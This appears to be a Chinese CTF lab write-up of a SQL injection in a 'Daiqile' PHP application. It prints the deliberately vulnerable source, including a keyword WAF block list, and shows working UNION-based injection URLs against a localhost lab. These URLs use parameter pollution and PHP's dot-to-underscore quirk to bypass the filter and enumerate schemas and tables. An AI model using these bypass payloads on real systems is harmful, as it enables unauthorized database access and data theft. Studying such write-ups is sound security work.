贷齐乐系统sql注入漏洞

目录

源码

代码流程

payload编写

全局污染

php小特性

注入思路

payload构造

获取数据库名,这里是不可以使用database的因为括号被过滤乐

在information中查询数据库名

然后获取表名

获取数据


源码

php 复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
//用空格分割字符串
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

代码流程

代码先走这里将输入的数据进行过滤

然后往下,用?将代码分割

再往下&继续分割

然后继续往下,用=进行分割

进行判断进入过滤

过滤以下字符

然后再继续往下走,再进行一个查询

payload编写

全局污染

首先php在遇到两个相同名字参数时,php是取后一个的,如下图最终i_d的值为1

php小特性

当参数中出现.的时候会被解析成_,如下图

注入思路

可以使用使用php小特性和全局污染绕过,在这里的时候会将.转换成下划线,然后桡骨第一个waf

然后在这里取值的时候.和_会区分开,然后我们可以在第一个i_d写我们的payload,在i.d写正常数据用来绕过waf

payload构造

这里使用/**/是不想让url编码入库

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,3&i.d=123
获取数据库名,这里是不可以使用database的因为括号被过滤乐
php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,database()&i.d=123
在information中查询数据库名
php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata&i.d=123

这里连成一串可以使用limit过滤

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata/**/limit/**/12,1&i.d=123
然后获取表名

这里由于等号被过滤乐所以使用like,然后查表名的时候由于'被过滤所以使用了16进制编码

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=123

再然后获取列名,可以使用limt一个个获取

获取数据
相关推荐
中科固源几秒前
强制性国标在路上:预解读《民用无人驾驶航空器数据链路网络安全要求》(二)
安全·网络安全·低空经济·商业航天
123过去7 分钟前
impacket-mssqlclient使用教程
linux·测试工具·安全
黎阳之光20 分钟前
AI赋能安全新生态 黎阳之光锚定国家政策筑造数智防线
大数据·人工智能·算法·安全·数字孪生
WHD30620 分钟前
企业数据安全体系建设指南:从风险识别到技术落地的全流程(2026版)
大数据·网络·人工智能·安全·系统架构·密码学·安全架构
kang0x022 分钟前
密码挑战 - ^o^ writeup by AI
安全
爱钓鱼的程序员小郭1 小时前
阿里云自动配置安全组IP白名单
python·tcp/ip·安全·阿里云
中科固源1 小时前
强制性国标在路上:预解读《民用无人驾驶航空器数据链路网络安全要求》(一)
安全·网络安全·模糊测试·低空经济·商业航天
天远云服1 小时前
驾培系统车辆核验实战:PHP集成天远二手车估值API实现学员车辆信息自动化管理
大数据·开发语言·自动化·php
ZHOUPUYU1 小时前
PHP异步编程实战ReactPHP到Swoole的现代方案
开发语言·php
暮色千里.5321 小时前
多因素认证中的漏洞
网络·安全·web安全